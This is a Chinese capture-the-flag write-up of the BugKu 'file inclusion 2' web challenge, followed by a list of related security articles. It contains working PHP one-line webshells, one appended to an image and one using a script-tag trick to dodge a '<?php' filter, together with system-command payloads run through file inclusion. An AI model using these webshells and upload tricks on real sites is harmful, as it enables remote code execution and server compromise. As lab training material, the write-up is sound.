BugKu Web渗透之 文件包含2

启动场景,打开网页,如下图所示。

步骤一:查看请求的数据。

发现响应中有一个upload.php的注释。

步骤二:访问upload.php

发现是一个文件上传的页面。

**步骤三:(方法一)**用菜刀或蚁剑连接,上传一句话木马。

1.测试其他类型的文件是否能上传,测试了txt和php后缀的,结果都显示upload failed。

2.截图保存图片,之后在文件内容后添加一句话木马,上传提示成功,并显示了保存的路径。

一句话木马为:<?php @assert($_REQUEST['pass']); ?>

此时会显示上传成功,并返回上传路径。

3.根据上传地址访问文件。

index.php?file=upload/*****.png

网页显示内容如下:

发现<?php 和 ?> 被屏蔽。

4.重新写一句话木马,避开被屏蔽的字段。

把<?php用 <script language=php 代替,

<script language=php>eval($_POST['pass']);</script>

5.蚁剑或者菜刀连接。

6.连接成功,之后文件列表中的根目录找到flag文件

双击打开,得到flag。

**步骤三:(方法二)**用冰蝎连接。

1.上传完整shell,php语言的,把其中的<?php 和 ?> 替换成<script language=php> 和</script>

2.新增Shell。

3.双击连接,基本信息页面显示这样就是连接成功了。

4.文件管理页面,查找flag,并双击显示。

**步骤三:(方法三)**使用系统命令去查看flag

1.尝试上传文件内容为:<script language=php>system("ls")</script>的文件,将文件后缀从txt改为png。

2.上传完成后,根据上传目录去查看,结果发现显示了文件目录。

但是ls是不显示文件的,于是我把ls 后加了参数-a,这样就能显示文件夹和文件了。

3.继续尝试 ls -a ..、 ls -a ../..、 ls -a ../../.. ,分别将这些内容替换上面的ls,之后文件上传,再查看上传文件的路径,显示内容依次为:

4.在最后一张图发现了flag字样,于是,<script language=php>system("cat ../../flag")</script>,同样是上传后,通过路径查看,最后显示flag。

其实这题还有一个更简单的方法,就是直接在file=后加上/flag,直接就显示flag了。但是一般来说,不会这么简单,所以我们还是得把思路和流程都走一遍。

相关推荐
y***54882 小时前
免费的Web安全测试工具,可以替代Burp Suite
安全·web安全
2301_780789663 小时前
WAF如何应对金融领域的网络威胁和黑客攻击
服务器·网络·安全·web安全·金融
Pure_White_Sword4 小时前
Bugku-web题目-xxx二手交易市场
web安全·网络安全·ctf
饮长安千年月5 小时前
玄机-第八章 内存马分析-java03-fastjson
开发语言·python·安全·web安全·网络安全·应急响应
liu****6 小时前
18.HTTP协议(一)
linux·网络·网络协议·http·udp·1024程序员节
洛_尘7 小时前
JAVA EE初阶 6: 网络编程套接字
网络·1024程序员节
Fnetlink19 小时前
网络安全与数字化转型的价值投资
安全·web安全
阿乐艾官17 小时前
【十一、Linux管理网络安全】
linux·运维·web安全
llxxyy卢17 小时前
upload-labs(1-13)(配合源码分析)
web安全
jenchoi41319 小时前
【2025-11-12】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全·npm